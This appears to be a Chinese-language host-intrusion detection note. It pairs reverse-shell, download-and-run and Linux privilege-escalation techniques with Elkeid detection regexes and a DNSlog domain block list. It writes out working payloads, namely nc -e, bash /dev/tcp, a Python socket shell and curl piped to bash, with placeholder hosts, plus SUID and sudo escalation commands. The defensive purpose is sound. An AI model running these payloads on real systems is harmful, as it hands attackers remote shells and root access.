目录
- 概述
- 反弹shell
- 原理
- nc
- /dev/xxx反弹shell
- 下载不落地反弹Shell
- 各种语言反弹shell
- linux提权
- sudo
- suid提权
- mysql提权
- Dnslog
- 参考
概述
本文更新通过在主机(不含容器)上直接执行命令或启动进程来攻击的场景。检测方面以字节跳动的开源HIDS elkeid举例。每种检测仅举一个例子,其余的给出示例payload。
反弹shell
原理
控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
nc
nc 远程ip 端口 -e /bin/bash
Elkeid规则如下:
(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))
/dev/xxx反弹shell
指的是通过/dev/tcp或/dev/udp的方式建立连接反弹shell,举例:
bash -i >& /dev/tcp/远程ip/端口 0>&1
下载不落地反弹Shell
指的是下载后通过管道等方式执行,不落地,举例:
curl/wget http://xxx.sh | bash
各种语言反弹shell
以Python为例:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("远程ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
linux提权
sudo
原理:临时赋予root权限运行某个程序
sudo less file_path
!bash
suid提权
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
收集具有suid的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
mysql提权
- udf提权
- 写入webshell提权
- mof提权
Dnslog
Elkeid规则如下:
.awvsscan119.autoverify.cn|.cybertunnel.run|.dnstunnel.run|.s0x.cn|.dns.1433.eu.org|.logplog.eu.org|.ns.dns3.cf|.vuleye.pw|.ceye.io|.exeye.io|.vcap.me|.xip.name|.xip.io|.sslip.io|.nip.io|.burpcollaborator.net|.tu4.org|.2xss.cc|.bxss.me|.godns.vip|.0kee.360.cn|.r87.me|.ngrok.io|.xn--9tr.com|.pipedream.net|.vxtrans.com|.vxtrans.link|.hopto.org|.zapto.org|.sytes.net|.ddns.net
参考
linux提权
反弹Shell原理及检测技术研究